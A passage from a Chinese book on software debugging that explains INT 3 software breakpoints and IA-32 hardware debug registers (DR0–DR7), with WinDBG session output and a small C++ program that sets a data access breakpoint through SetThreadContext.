0040103c 8bf4 mov esi,esp
可以看到,我们使用EMIT伪指令向可执行文件中成功地插入了机
器码0xCD03,而且反汇编程序也将其反汇编成INT 3指令。0xCD03的地
址是00401038。它后面是两个NOP指令,机器码为0x90。
按F5快捷键让程序执行,先会遇到main函数开头的INT 3。按F5快
捷键再执行,WinDBG会接收到断点异常事件,并显示如下信息:
(cf8.f28): Break instruction exception - code 80000003 (first chance)
eax=0000000d ebx=7ffdc000 ecx=00424a60 edx=00424a60 esi=0151f764 edi=0012f
f80
eip=00401039 esp=0012ff34 ebp=0012ff80 iopl=0 nv up ei pl nz na po
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000
202
HiInt3!main+0x29:
00401039 0390908bf4ff add edx,dword ptr [eax-0B7470h] ds:0023:fff48
b9d=????????
其中80000003是Windows操作系统定义的断点异常代码。注意,此
时的程序指针寄存器的值等于00401039,这指向的是0xCD03的第二个
字节。观察最后一行的汇编指令,看来已经出了问题,EIP指针已经指
向了一条指令的中间字节而不是起始处,接下来的指令都“错位”了,本
来不属于同一指令的两个NOP指令的机器码(0x90)以及它后面的
MOV指令被强行组合成一条虚假的ADD指令,新的指令已经和以前的
大相径庭了。根据规定,EIP指针应该总是指向即将要执行的下一条指
令的第一个字节。现在由于EIP指向错位了,因此当前的指令变成了一
个ADD指令,它引用的地址是fff48b9d,这是指向内核空间的一个地
址,是不允许用户代码直接访问的,这正是继续执行会产生访问违例的
原因。
0:000> g
(1374.d28): Access violation - code c0000005 (first chance)
…
那么是什么原因导致EIP指针错位的呢?正如前面介绍的,
Windows的断点异常处理函数KiTrap03在分发这个异常前总是会将程序
指针减1,对于单字节的INT 3指令,这样做减法后,刚好指向INT 3指
令(或者原来指令的起始处)。但对于双字节的0xCD03指令,执行这
条指令后的EIP指针的值是这个指令的下一指令的地址,即0040103a,
因此减1后等于00401039,即指向0xCD03的第二个字节了。
此时,可以通过WinDBG的寄存器修改命令将EIP寄存器的值手工
调整到下一指令(nop)位置:
r eip=0040103a
这样调整后,程序便可以继续顺利执行了。
4.1.8 观察调试器写入的INT 3指令
可以通过两种方法来观察调试器所插入的断点指令(0xCC,INT
3)。第一种方法是使用WinDBG调试器的Noninvasive调试功能。举例
来说,在VC6中启动调试,并在第11行(printf("Hello INT 3!\n"))设置
一个断点。然后启动WinDBG,选择File→Attach to a Process,在对话框
的进程列表中选择HiInt3进程,并选中下面的Noninvasive复选框,而后
单击OK按钮等待WinDBG附加到HiInt3进程显示命令提示符后,输入以
下命令,对第11行源代码所对应的位置进行反汇编:
0:000> u `hiint3!HiInt3.cpp:11`
HiInt3!main+0x19 [C:\dig\dbg\author\code\chap04\HiInt3\HiInt3.cpp @ 11]:
00401029 cc int 3
0040102a 1c20 sbb al,20h
0040102c 42 inc edx
0040102d 00e8 add al,ch
…
其中,地址00401029处的0xCC就是VC6调试器插入的断点指令。
由于插入了这条指令,导致WinDBG的反汇编程序以为0040102a是下一
条指令的开始而继续反汇编,得到了完全错误的结果。与清单4-3所示
的正确汇编结果相比较,我们知道,事实上从00401029 开始的5个字节
0x681c204200都是一条指令,即push offset HiInt3!'string'(0042201c),
目的是将printf的字符串参数压入栈。当插入断点时,push指令的第一个
字节0x68被替换为0xCC(INT 3),反汇编程序把push指令的其余字节
当作新的指令了。第二种方法是通过内核调试会话来观察用户态调试器
所插入的断点指令。
4.1.9 归纳和提示
因为使用INT 3指令产生的断点是依靠插入指令和软件中断机制工
作的,所以人们习惯把这类断点称为软件断点。软件断点具有如下局限
性。
属于代码类断点,即可以让CPU执行到代码段内的某个地址时停下
来,不适用于数据段和I/O空间。
对于在只读存储器(ROM)中执行的程序(比如BIOS或其他固件
程序),无法动态增加软件断点。因为目标内存是只读的,无法动
态写入断点指令。这时就要使用我们后面要介绍的硬件断点。
在中断向量表或中断描述表(IDT)没有准备好或遭到破坏的情况
下,这类断点是无法或不能正常工作的,比如系统刚刚启动时或
IDT被病毒篡改后,这时只能使用硬件级的调试工具。
虽然软件断点存在以上不足,但因为它使用方便,而且没有数量限
制(硬件断点需要寄存器记录断点地址,有数量限制),所以目前仍被
广泛应用。
关于软件断点的使用,还有以下两点特别值得注意。第一个值得特
别注意的地方是,不可以把软件断点设置在某条指令的中间位置。以下
面这个NtReadFile函数为例,可以把断点设置在每一条指令的开始处,
但切勿设置在指令的某个中间字节上:
0:001> u 7c90d9b0
ntdll!NtReadFile:
7c90d9b0 b8b7000000 mov eax,0B7h
7c90d9b5 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe030
0)
7c90d9ba ff12 call dword ptr [edx]
7c90d9bc c22400 ret 24h
7c90d9bf 90 nop
假设执行bp ntdll!NtReadFile+1,把断点设置在第一条指令的第二个
字节处,那么调试器不会给出任何警告,而且这个意外也很难被察觉。
使用前面提到的Noninvasive方法附加到同一个进程观察,这个函数
的第一条指令变为:
0:000> u ntdll!NtReadFile
ntdll!NtReadFile:
7c90d9b0 b8cc000000 mov eax,0CCh
可见,函数的内容被篡改了。这样的断点不仅永远不会命中,还会
导致非常怪异的结果。在本例中,原来指令中的0x0B7代表NtReadFile
的系统服务编号(卷2详细介绍)。设置断点后,服务编号被意外修改
成了0xCC,代表了完全不同的另一个系统服务。于是,进入内核态
后,内核会调用另一个系统服务,真是阴差阳错。
第二个值得特别注意的地方是,切勿把软件断点设置到变量上。这
样就会导致调试器把变量的值修改掉,替换成0xCC,后果也非常严重
而且不易察觉。例如,在WinDBG中调试BadBoy小程序时,如果执行bp
g_boy命令以全局变量g_Boy的地址作为参数,那么WinDBG不会给出任
何警告。观察断点设置前的地址值:
0:001> dd g_Boy L1
00417888 00416890
设置断点并恢复执行后,再用第二个调试器观察:
0:000> dd g_Boy
00417888 004168cc
可见,变量的值已经被修改。
软件断点是应用最广泛的调试功能之一,在后面的内容中,我们还
会分别从操作系统、编译器和调试器的角度进一步介绍软件断点。
4.2 硬件断点
1985年10月,英特尔在推出286三年半之后推出了386。这是PC历
史上又一个具有划时代意义的产品,作为IA-32架构的鼻祖,它真正将
个人计算机带入了32位时代。在调试方面,386也引入了很多新的功
能,其中最重要的就是调试寄存器和硬件断点。
4.2.1 调试寄存器概览
IA-32处理器定义了8个调试寄存器,分别称为DR0~DR7。在32位
模式下,它们都是32位的;在64位模式下,它们都是64位的。本节将以
32位的情况为例进行讨论(见图4-4)。
首先,DR4和DR5是保留的,当调试扩展(debug extension)功能
被启用(CR4寄存器的DE位设为1)时,任何对DR4和DR5的引用都会
导致一个非法指令异常(#UD),当此功能被禁止时,DR4和DR5分别
是DR6和DR7的别名寄存器,即等价于访问后者。
图4-4 调试寄存器DR0~DR7
其他6个寄存器分别如下。
4个32位的调试地址寄存器(DR0~DR3),64位下是64位的。
1个32位的调试控制寄存器(DR7),64位时,高32位保留未用。
1个32位的调试状态寄存器(DR6),64位时,高32位保留未用。
通过以上寄存器最多可以设置4个断点,其基本分工是DR0~DR3
用来指定断点的内存(线性地址)或I/O地址。DR7用来进一步定义断
点的中断条件。DR6的作用是当调试事件发生时,向调试器报告事件的
详细信息,以供调试器判断发生的是何种事件。
4.2.2 调试地址寄存器
调试地址寄存器(DR0~DR3)用来指定断点的地址。对于设置在
内存空间中的断点,这个地址应该是断点的线性地址而不是物理地址,
因为CPU是在线性地址被翻译为物理地址之前来做断点匹配工作的。这
意味着,在保护模式下,我们不能使用调试寄存器来针对一个物理内存
地址设置断点。
4.2.3 调试控制寄存器
在DR7寄存器中,有24位是被划分成4组分别与4个调试地址寄存器
相对应的,比如L0、G0、R/W0和LEN0这6位是与DR0相对应的,L1、
G1、R/W1和LEN1这6位是与DR1相对应的,其余的以此类推。表4-1列
出了DR7中各个位域的具体含义。
表4-1 调试控制寄存器(DR7)
简
称
全 称
比 特
位
描 述
R/W0
~
R/W3 读写域
R/W0:
16,17
R/W1:
20,21
R/W2:
分别与DR0~DR3这4个调试地址寄存器相对应,
用来指定被监控地址的访问类型,其含义如下。
● 00:仅当执行对应地址的指令时中断
● 01:仅当向对应地址写数据时中断
● 10:386和486不支持此组合。对于以后的
CPU,可以通过把CR4寄存器的DE(调试扩展)
24,25
R/W3:
28,29
位设为1启用该组合,其含义为“当向相应地址进
行输入输出(即I/O读写)时中断”
● 11:当向相应地址读写数据时都中断,但是
从该地址读取指令除外
LEN0
~
LEN3
长度域
LEN0:
18,19
LEN1:
22,23
LEN2:
26,27
LEN3:
30,31
分别与DR0~DR3这4个调试地址寄存器相对应,
用来指定要监控的区域长度,其含义如下。
● 00:1字节长
● 01:2字节长
● 10:8字节长(奔腾4或至强CPU)或未定义
(其他处理器)
● 11:4字节长 注意:如果对应的R/Wn为0(即
执行指令中断),那么这里的设置应该为0,参
见下文
L0~
L3
局部断点启用
L0:0
L1:2
L2:4
L3:6
分别与DR0~DR3这4个调试地址寄存器相对应,
用来启用或禁止对应断点的局部匹配。如果该位
设为1,当CPU在当前任务中检测到满足所定义
的断点条件时便中断,并且自动清除此位。如果
该位设为0,便禁止此断点
G0~
G3
全部断点启用
G0:1
G1:3
G2:5
G3:7
分别对应DR0~DR3这4个调试地址寄存器,用来
全局启用和禁止对应的断点。如果该位设为1,
当CPU在任何任务中检测到满足所定义的断点条
件时都会中断;如果该位设为0,便禁止此断
点。与L0~L3不同,断点条件发生时,CPU不会
自动清除此位
LE和
GE
启用局部或者
全局(精确)
断点(Local
and Global
(exact)
breakpoint
Enable)
LE:8
GE:9
从486开始的IA-32处理器都忽略这两位的设置。
此前这两位是用来启用或禁止数据断点匹配的。
对于早期的处理器,当设置有数据断点时,需要
启用本设置,这时CPU会降低执行速度,以监视
和保证当有指令要访问符合断点条件的数据时产
生调试异常
GD
启用访问检测
(General
Detect
Enable)
13
启用或禁止对调试寄存器的保护。当设为1时,
如果CPU检测到将修改调试寄存器(DR0~
DR7)的指令,CPU会在执行这条指令前产生一
个调试异常
通过表4-1的定义可以看出,调试控制寄存器的各个位域提供了很
多选项允许我们通过不同的位组合定义出各种断点条件。
下面进一步介绍读写域R/Wn,通过对它的设置,我们可以指定断
点的访问类型(又称访问条件),即以何种方式(读写数据、执行代码
还是I/O)访问地址寄存器中指定的地址时中断。读写域占两个二进制
位,可以指定4种访问方式,满足不同调试情况的需要。以下是3类典型
的使用方式,其中第一类又分两种情况。
(1)读/写内存中的数据时中断:这种断点又称为数据访问断点
(data access breakpoint)。利用数据访问断点,我们可以监控对全局变
量或局部变量的读写操作。例如,当进行某些复杂的系统级调试或者调
试多线程程序时,我们不知道是哪个函数或线程在何时修改了某一变
量,这时就可以设置一个数据访问断点。以WinDBG调试器为例,可以
通过ba命令来设置这样的断点,如ba w4 00401200。其中ba代表break on
access,w4 00401200的含义是对地址00401200开始的4字节内存区进行
写操作时中断。如果我们希望有线程或代码读这个变量时也中断,那么
只要把w4换成r4便可以了。现代调试器大多还都支持复杂的条件断点,
比如当某个变量等于某个确定的值时中断,这其实也可以用数据访问断
点来实现,其基本思路是设置一个数据访问断点来监视这个变量,当每
次这个变量的值发生改变时,CPU都会通知调试器,由调试器检查这个
变量的值,如果不满足规定的条件,就立刻返回让CPU继续执行;如果
满足,就中断到调试环境。
(2)执行内存中的代码时中断:这种断点又称为代码访问断点
(code access breakpoint)或指令断点(instruction breakpoint)。代码访
问断点从实现的功能上看与软件断点类似,都是当CPU执行指定地址开
始的指令时中断。但是通过寄存器实现的代码访问断点与软件断点相比
有个优点,就是不需要像软件断点那样向目标代码中插入断点指令。这
个优点在某些情况下非常重要。例如,在调试位于ROM(只读存储
器)上的代码(比如BIOS中的POST程序)时,我们根本没有办法向那
里插入软件断点(INT 3)指令,因为目标内存是只读的。此外,软件
断点的另一个局限是,只有当目标代码被加载进内存后,才可以向该区
域设置软件断点。而调试寄存器断点没有这些限制,因为只要把需要中
断的内存地址放入调试地址寄存器(DR0~DR3),并设置好调试控制
寄存器(DR7)的相应位就可以了。
(3)读写I/O(输入输出)端口时中断:这种断点又称为I/O访问断
点(Input/Output access breakpoint)。I/O访问断点对于调试使用输入输
出端口的设备驱动程序非常有用。也可以利用I/O访问断点来监视对I/O
空间的非法读写操作,提高系统的安全性,这是因为某些恶意程序在实
现破坏动作时,需要对特定的I/O端口进行读写操作。
读写域定义了要监视的访问类型,地址寄存器(DR0~DR3)定义
了要监视的起始地址。那么要监视的区域长度呢?这便是长度域
LENn(n=0,1,2,3,位于DR7中)的任务。LENn位段可以指定1、
2、4或8字节长的范围。
对于代码访问断点,长度域应该为00,代表1字节长度。另外,地
址寄存器应该指向指令的起始字节,也就是说,CPU只会用指令的起始
字节来检查代码断点匹配。
对于数据和I/O访问断点,有两点需要注意:第一,只要断点区域
中的任一字节在被访问的范围内,都会触发该断点。第二,边界对齐要
求,2字节区域必须按字(word)边界对齐,4字节区域必须按双字
(doubleword)边界对齐,8字节区域必须按4字(quadword)边界对
齐。也就是说,CPU在检查断点匹配时会自动去除相应数量的低位。因
此,如果地址没有按要求对齐,可能无法实现预期的结果。例如,假设
希望通过将DR0设为0xA003、将LEN0设为11(代表4字节长)实现任何
对0xA003~0xA006内存区的写操作都会触发断点,那么只有当0xA003
被访问时会触发断点,对0xA004、0xA005和0xA006处的内存访问都不
会触发断点。因为长度域指定的是4字节,所以CPU在检查地址匹配
时,会自动屏蔽起始地址0xA003的低2位,只是匹配0xA000。而
0xA004、0xA005和0xA006屏蔽低2位后都是0xA004,所以无法触发断
点。
4.2.4 指令断点
关于指令断点还有一点要说明。对于如下所示的代码片段,如果指
令断点被设置在紧邻MOV SS EAX的下一行,那么该断点永远不会被触
发。原因是为了保证栈段寄存器(SS)和栈顶指针(ESP)的一致性,
CPU执行MOV SS指令时会禁止所有中断和异常,直到执行完下一条指
令。
MOV SS, EAX
MOV ESP, EBP
类似地,紧邻POP SS指令的下一条指令处的指令断点也不会被触
发。例如,如果指令断点指向的是下面的第二行指令,那么该断点永远
不会被触发。
POP SS
POP ESP
但是,当有多个相邻的MOV SS或POP SS指令时,CPU只会保证对
第一条指令采取如上“照顾”。例如,对于下面的代码片段,指向MOV
ESP, EBP的指令断点是会被触发的。
MOV SS, EDX
MOV SS, EAX
MOV ESP, EBP
IA-32手册推荐使用LSS指令来加载SS和ESP寄存器,通过LSS指
令,一条指令便可以改变SS和ESP两个寄存器。
4.2.5 调试异常
IA-32架构专门分配了两个中断向量来支持软件调试,即向量1和向
量3。向量3用于INT 3指令产生的断点异常(breakpoint exception,即
#BP)。向量1用于其他情况的调试异常,简称调试异常(debug
exception,即#DB)。硬件断点产生的是调试异常,所以当硬件断点发
生时,CPU会执行1号向量所对应的处理例程。
表4-2列出了各种导致调试异常的情况及该情况所产生异常的类
型。
表4-2 导致调试异常的各种情况
异 常 情 况
DR6标志
DR7标
志
异常
类型
因为EFlags[TF]=1而导致的单步异常
BS=1
陷阱
调试寄存器DRn和LENn定义的指令断点
Bn=1 and (Gn=1 or
Ln=1)
R/Wn=0 错误
调试寄存器DRn和LENn定义的写数据断点
Bn=1 and (Gn=1 or
Ln=1)
R/Wn=1 陷阱
调试寄存器DRn和LENn定义的I/O读写断点
Bn=1 and (Gn=1 or
Ln=1)
R/Wn=2 陷阱
调试寄存器DRn和LENn定义的数据读(不包括
取指)写断点
Bn=1 and (Gn=1 or
Ln=1)
R/Wn=3 陷阱
当DR7的GD位为1时,企图修改调试寄存器
BD=1
错误
任务状态段(TSS)的T标志为1时进行任务切
换
BT=1
陷阱
对于错误类调试异常,因为恢复执行后断点条件仍然存在,所以为
了避免反复发生异常,调试软件必须在使用IRETD指令返回重新执行触
发异常的指令前将标志寄存器的RF(Resume Flag)位设为1,告诉CPU
不要在执行返回后的第一条指令时产生调试异常,则CPU执行完该条指
令后会自动清除RF标志。
4.2.6 调试状态寄存器
调试状态寄存器(DR6)的作用是当CPU检测到匹配断点条件的断
点或有其他调试事件发生时,用来向调试器的断点异常处理程序传递断
点异常的详细信息,以便使调试器可以很容易地识别出发生的是什么调
试事件。例如,如果B0被置为1,那么就说明满足DR0、LEN0和R/W0
所定义条件的断点发生了。表4-3列出了DR6中各个标志位的具体含
义。
表4-3 调试状态寄存器(DR6)
简
称
全称
比
特
位
描 述
B0
Breakpoint
0
0
如果处理器检测到满足断点条件0的情况,那么处理器会在调用
异常处理程序前将此位置为1
B1
Breakpoint
1
1
如果处理器检测到满足断点条件1的情况,那么处理器会在调用
异常处理程序前将此位置为1
B2
Breakpoint
2
2
如果处理器检测到满足断点条件2的情况,那么处理器会在调用
异常处理程序前将此位置为1
B3
Breakpoint
3
3
如果处理器检测到满足断点条件3的情况,那么处理器会在调用
异常处理程序前将此位置为1
BD
检测到访
问调试寄
存器
13
这一位与DR7的GD位相联系,当GD位被置为1,而且CPU发现
了要修改调试寄存器(DR0~DR7)的指令时,CPU会停止继续
执行这条指令,把BD位设为1,然后把执行权交给调试异常
(#DB)处理程序
BS
单步
(Single
step)
14
这一位与标志寄存器的TF位相联系,如果该位为1,则表示异常
是由单步执行(single step)模式触发的。与导致调试异常的其
他情况相比,单步情况的优先级最高,因此当此标志为1时,也
可能有其他标志也为1
BT
任务切换
(Task
switch)
15
这一位与任务状态段(TSS)的T标志(调试陷阱标志,debug
trap flag)相联系。当CPU在进行任务切换时,如果发现下一个
任务的TSS的T标志为1,则会设置BT位,并中断到调试中断处
理程序
因为单步执行、硬件断点等多种情况触发的异常使用的都是一个向
量号(即1号),所以调试器需要使用调试状态寄存器来判断到底是什
么原因触发的异常。
4.2.7 示例
下面通过一些例子来加深理解。表4-4列出了对调试寄存器的设
置,通过这些设置,我们定义了4个硬件断点,表格的最后一列是我们
预期的断点触发条件。
表4-4 断点示例
编号
地址寄存器
R/Wn
LENn
断点触发条件
0
DR0=A0001H R/W0=11(读/
写)
LEN0=00(1B) 读写A0001H开始的1字
节
1
DR1=A0002H R/W1=01(写)
LEN1=00(1B) 写A0002H开始的1字节
2
DR2=B0002H R/W2=11(读/
写)
LEN2=01(2B) 读写B0002H开始的2字
节
3
DR3=C0000H R/W3=01(写)
LEN3=11(4B) 写C0000H开始的4字节
对于上面的调试器设置,表4-5列出了一些读写操作(数据访
问),并说明它们是否会命中断点。
表4-5 内存访问示例
访问类
型
访问地
址
访问长
度
触发断点与否
读或写
A0001H 1
触发(与断点0匹配)
读或写
A0001H 2
触发(读与断点0匹配,写与断点0和1都匹配)
写
A0002H 1
触发(与断点1匹配)
写
A0002H 2
触发(与断点1匹配)
读或写
B0001H 4
触发(与断点2匹配,对B0002和B0003的访问落入断点2
定义的区域)
读或写
B0002H 1
触发(与断点2匹配)
读或写
B0002H 2
触发(与断点2匹配)
写
C0000H 4
触发(与断点3匹配)
写
C0001H 2
触发(与断点3匹配)
写
C0003H 1
触发(与断点3匹配)
读或写
A0000H 1
否
读
A0002H 1
否(断点1的访问类型是写)
读或写
A0003H 4
否
读或写
B0000H 2
否
读
C0000H 2
否(断点3定义的访问类型是写)
读或写
C0004H 4
否
表格最后一列说明了断点的命中情况及原因。可以看到,一个数据
访问可能与多个断点定义的条件相匹配,这时,CPU会设置状态寄存器
的多个位,显示出所有匹配的断点。
再举个实际的例子。在WinDBG中打开上一节的HiInt3程序。根据
清单4-2可以知道,printf函数所使用的字符串的内存地址是0042201c。
考虑到printf函数执行时会访问这个地址,所以我们尝试对其设置断
点。但当初始断点命中时执行ba命令,WinDBG会提示设置失败:
0:000> ba w1 0042201c
^ Unable to set breakpoint error
The system resets thread contexts after the process
breakpoint so hardware breakpoints cannot be set.
Go to the executable's entry point and set it then.
'ba w1 0042201c'
上面的信息表示此时尚不能设置硬件断点,原因是系统此时正在以
APC(Asynchronous Procedure Calls)(IRQL为1)方式执行新进程的用
户态初始化工作,此时使用的是一个特殊的初始化上下文。这个过程结
束后,系统才会切换到新线程(新进程的初始线程)自己的上下文,以
普通方式(IRQL为0)执行新的线程。因为硬件断点所依赖的调试寄存
器设置是保存在线程上下文中的,所以WinDBG提示我们先执行到程序
的入口,然后再设置硬件断点,以防设置的断点信息丢失。实践中,大
家可以通过对main函数或者WinMain函数设置软件断点让程序运行到入
口函数,停下来后再设置硬件断点。如果希望在main函数之前就设置硬
件断点,比如调试全局变量或者静态变量的初始化时就需要这样,那么
可以对系统的线程启动函数设置断点,比如ntdll!RtlUserThreadStart(有
时这个函数的符号名可能多一个下画线,即_RtlUserThreadStart),或
者kernel32!BaseThreadInitThunk。
因为HiInt3程序的main函数开始处已经有一条INT 3指令了(这等同
于一个软件断点),所以我们直接按F5快捷键让程序继续执行。待断点
如期命中后,在0042201c附近设置如下3个硬件断点:
0:000> ba w1 0042201c
0:000> ba r2 0042201e
0:000> ba r1 0042201f
设置以上断点后立刻观察调试寄存器:
0:000> r dr0,dr1,dr2,dr3,dr6,dr7
dr0=00000000 dr1=00000000 dr2=00000000 dr3=00000000 dr6=00000000 dr7=00000
000
可见,这时这些断点尚未设置到调试寄存器中,因为调试器是在恢
复被调试程序执行时才把这些寄存器通过线程的上下文设置到CPU的寄
存器中的。但使用WinDBG的列断点命令,可以看到已经设置的断点:
0:000> bl
0 e 0042201c w 1 0001 (0001) 0:**** HiInt3!'string'
1 e 0042201e r 2 0001 (0001) 0:**** HiInt3!'string'+0x2
2 e 0042201f r 1 0001 (0001) 0:**** HiInt3!'string'+0x3
按F5快捷键让程序执行,断点1会先命中:
Breakpoint 1 hit
eax=0042201e ebx=7ffdd000 ecx=0012fc6c edx=0012fcd0 esi=0159f764 edi=0012f
f80
eip=004014f9 esp=0012fc48 ebp=0012fefc iopl=0 nv up ei pl nz ac pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000
216
HiInt3!_output+0x29:
004014f9 884dd8 mov byte ptr [ebp-28h],cl ss:0023:0012fe
d4=65
使用kp命令显示栈回溯信息,可以看到当前在执行_output 函数,
它是被printf函数所调用的:
0:000> kp
ChildEBP RetAddr
0012fefc 004010bb HiInt3!_output+0x29 [output.c @ 371]
0012ff28 00401033 HiInt3!printf+0x5b [printf.c @ 60]
0012ff80 00401209 HiInt3!main+0x23 [C:\...\code\chap04\HiInt3\HiInt3.cp
p @ 11]
0012ffc0 7c816ff7 HiInt3!mainCRTStartup+0xe9 [crt0.c @ 206]
0012fff0 00000000 kernel32!BaseProcessStart+0x23
观察程序指针的值eip=004014f 9,需要注意的是,这并非触发断点
的指令。因为数据访问断点是陷阱类断点,所以当断点命中时,触发断
点的指令已经执行完毕,程序指针指向的是下一条指令的地址。可以使
用ub 004014f9 l2命令来观察前面的两条指令:
0:000> ub 004014f9 l2
HiInt3!_output+0x24 [output.c @ 371]:
004014f4 8b450c mov eax,dword ptr [ebp+0Ch]
004014f7 8a08 mov cl,byte ptr [eax]
可见,当前程序指针的前一条指令是mov cl,byte ptr [eax],其含义
是将EAX寄存器的值所指向的一个字节赋给CL寄存器(ECX寄存器的
最低字节)。EAX的值是0042201e,因此这条指令是从内存地址
0042201e读取一个字节赋给CL的,这正好符合断点1的条件。
此时观察调试寄存器的内容:
0:000> r dr0,dr1,dr2,dr3,dr6,dr7
dr0=0042201c dr1=0042201e dr2=0042201f dr3=00000000 dr6=ffff0ff2 dr7=03710
515
可以看到DR0~DR2存放的是3个断点的地址。DR3还没有使用。为
了便于观察,我们把DR6和DR7寄存器的各个位域和取值画在图4-5中。
图4-5 观察DR6和DR7寄存器的值
DR6的位1为1,表明断点1命中。DR7的R/W0为01,表明断点0的访
问类型为写。R/W1和R/W2为11,表明断点1和断点2的访问类型为读写
都命中。LEN1等于01,表明2字节访问。LEN0和LEN2等于00,表明是
1字节访问。
按F5快捷键继续执行,WinDBG会显示断点1和断点2都命中:
0:000> g
Breakpoint 1 hit
Breakpoint 2 hit
eax=0042201f ebx=7ffdd000 ecx=0012fc6c edx=0012fcd0 esi=7c9118f1 edi=0012f
f80
eip=004014f9 esp=0012fc48 ebp=0012fefc iopl=0 nv up ei pl nz ac pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000021
6
HiInt3!_output+0x29:
004014f9 884dd8 mov byte ptr [ebp-28h],cl ss:0023:0012fed4
=6c
EIP的指针与刚才的相同,因此触发断点的指令与刚才的一样,表
明程序在循环执行。从EAX的值可以看到,这次访问的内存地址是
0042201f,这刚好落入断点1定义范围的第二个字节,断点2定义范围的
第一个字节。再观察调试寄存器:
0:000> r dr0,dr1,dr2,dr3,dr6,dr7
dr0=0042201c dr1=0042201e dr2=0042201f dr3=00000000 dr6=ffff0ff6 dr7=03710
515
这次DR6的位2和位1都为1,表明断点2和断点1都命中了。
4.2.8 硬件断点的设置方法
只有在实模式或保护模式的内核优先级(ring 0)下才能访问调试
寄存器,否则便会导致保护性异常。这是出于安全性的考虑。那么,像
Visual Studio 2005(VS2005)这样的用户态调试器是如何设置硬件断点
的呢?答案是通过访问线程的上下文(CONTEXT)数据来间接访问调
试寄存器。CONTEXT结构用来保存线程的执行状态,在多任务系统
中,操作系统通过让多个任务轮换运行来使多个程序同时运行。当一个
线程被挂起时,包括通用寄存器值在内的线程上下文信息会被保存起
来,当该线程恢复执行时,保存的内容又会被恢复到寄存器中。清单4-
4显示了当使用VS2005调试本地的C++程序时,VS2005调用
SetThreadContext API来设置调试寄存器的函数调用过程(栈回溯)。
清单4-4 VS2005的本地调试器设置调试寄存器的过程
0:026> kn 100
# ChildEBP RetAddr
00 07bee11c 5be24076 kernel32!SetThreadContext // 调用系统API设置线程上
下文
01 07bee128 5be96b9c NatDbgDE!Win32Debugger::RawSetThreadContext+0x2e
02 07bee410 5be96166 NatDbgDE!SetupDebugRegister+0x14f
03 07bee42c 5be5e5a7 NatDbgDE!DrSetupDebugRegister+0x2a // 设置调试寄存
器
04 07bee44c 5be1d63d NatDbgDE!_HPRCX::SetupDataBps+0x5b // 设置数据断点
05 07bee45c 5be1e7f6 NatDbgDE!AddQueue+0x82
06 07bee474 5be27635 NatDbgDE!_HPRCX::ContinueThread+0x3d
07 07bee4a8 5be2b694 NatDbgDE!SetupSingleStep+0x94 // 设置单步标志
08 07bee4ec 5be2b701 NatDbgDE!StepOverBpAtPC+0xfb // 单步越过断点,
见下文
09 07bee570 5be35eee NatDbgDE!ReturnStepEx+0x196
0a 07bee5cc 5be25f3b NatDbgDE!PushRunningThread+0x93
0b 07beea10 5be25f7f NatDbgDE!ProcessContinueCmd+0x103 // 处理继续运行命令
0c 07beea34 5be12fa2 NatDbgDE!DMLib::DMFunc+0x149 // DM层的分发函数
0d 07beea44 5be124e9 NatDbgDE!TLClientLib::Local_TLFunc+0x8c
// 转给本地的传输层
函数
0e 07beea68 5be12510 NatDbgDE!CallTL+0x33 // 调用传输层
0f 07beea88 5be126c2 NatDbgDE!EMCallBackTL+0x18
10 07beeab0 5be25e83 NatDbgDE!SendRequestX+0x7d
11 07beeae0 5be25e34 NatDbgDE!Go+0x4a // 执行Go命令
12 07bef7dc 5be12496 NatDbgDE!EMFunc+0x53b // EM层的分发函数
13 07bef804 5be25e19 NatDbgDE!CallEM+0x20 // 调用EM(执行模型
)层
14 07bef840 5be2603f NatDbgDE!CNativeThread::Go+0x57 // 执行Go命令
15 07bef85c 5be26081 NatDbgDE!CDebugProgram::ExecuteEx+0x66 // 命令解析和
分发
16 07bef864 77e7a1ac NatDbgDE!CDebugProgram::Execute+0xd
… // 省略多行
从上面的栈回溯可以清楚地看到,VS2005的本地调试引擎
(NatDbgDE)执行命令(Go)的过程,从EM(Execution Model)层到
传输层(Transport Layer),再到DM(Debugge Module)层。最后由
DM层调用SetThreadContext API将调试寄存器设置到线程上下文结构
中。我们将在本书后续分卷中介绍Visual Studio调试器的分层模型和各
个层的细节。
下面通过一个C++例子来演示如何手工设置数据访问断点。清单4-5
列出了这个小程序(DataBp)的源代码。
清单4-5 DataBp程序的源代码
1 // DataBP.cpp :演示如何手工设置数据访问断点
2 // Raymond Zhang Jan. 2006
3 //
4
5 #include "stdafx.h"
6 #include <windows.h>
7 #include <stdlib.h>
8
9 int main(int argc, char* argv[])
10 {
11 CONTEXT cxt;
12 HANDLE hThread=GetCurrentThread();
13 DWORD dwTestVar=0;
14
15 if(!IsDebuggerPresent())
16 {
17 printf("This sample can only run within a debugger.\n");
18 return E_FAIL;
19 }
20 cxt.ContextFlags=CONTEXT_DEBUG_REGISTERS|CONTEXT_FULL;
21 if(!GetThreadContext(hThread,&cxt))
22 {
23 printf("Failed to get thread context.\n");
24 return E_FAIL;
25 }
26 cxt.Dr0=(DWORD) &dwTestVar;
27 cxt.Dr7=0xF0001;//4 bytes length read& write breakponits
28 if(!SetThreadContext(hThread,&cxt))
29 {
30 printf("Failed to set thread context.\n");
31 return E_FAIL;
32 }
33
34 dwTestVar=1;
35 GetThreadContext(hThread,&cxt);
36 printf("Break into debuger with DR6=%X.\n",cxt.Dr6);
37
38 return S_OK;
39 }
第11行和第12行读取当前线程的CONTEXT结构,其中包含了线程
的通用寄存器和调试寄存器信息。第15行检测当前程序是否正在被调
试,如果不是正在被调试,那么当断点被触发时便会导致异常错误。第
26行是将内存地址放入DR0寄存器。第27行是设置DR7寄存器,F代表4
字节读写访问;01代表启用DR0断点。第28行通过SetThreadContext()
API使寄存器设置生效。第34行尝试修改内存数据以触发断点。
在VC6下运行该程序(不设置任何软件断点),会发现VC6停在
dwTestVar=1的下一行。为什么会停在下一行而不是访问数据这一行
呢?正如我们前面所介绍的,这是因为数据访问断点导致的调试异常是
一种陷阱类异常,当该类异常发生时,触发该异常的指令已经执行完
毕。与此类似,INT 3指令导致的断点异常也属于陷阱类异常。但是通
过调试寄存器设置的代码断点触发的调试异常属于错误类异常,当错误
类异常发生时,CPU会将机器状态恢复到执行导致异常的指令被执行前
的状态,这样,对于某些错误类异常,比如页错误和除零异常,异常处
理例程可以纠正“错误”情况后重新执行导致异常的指令。
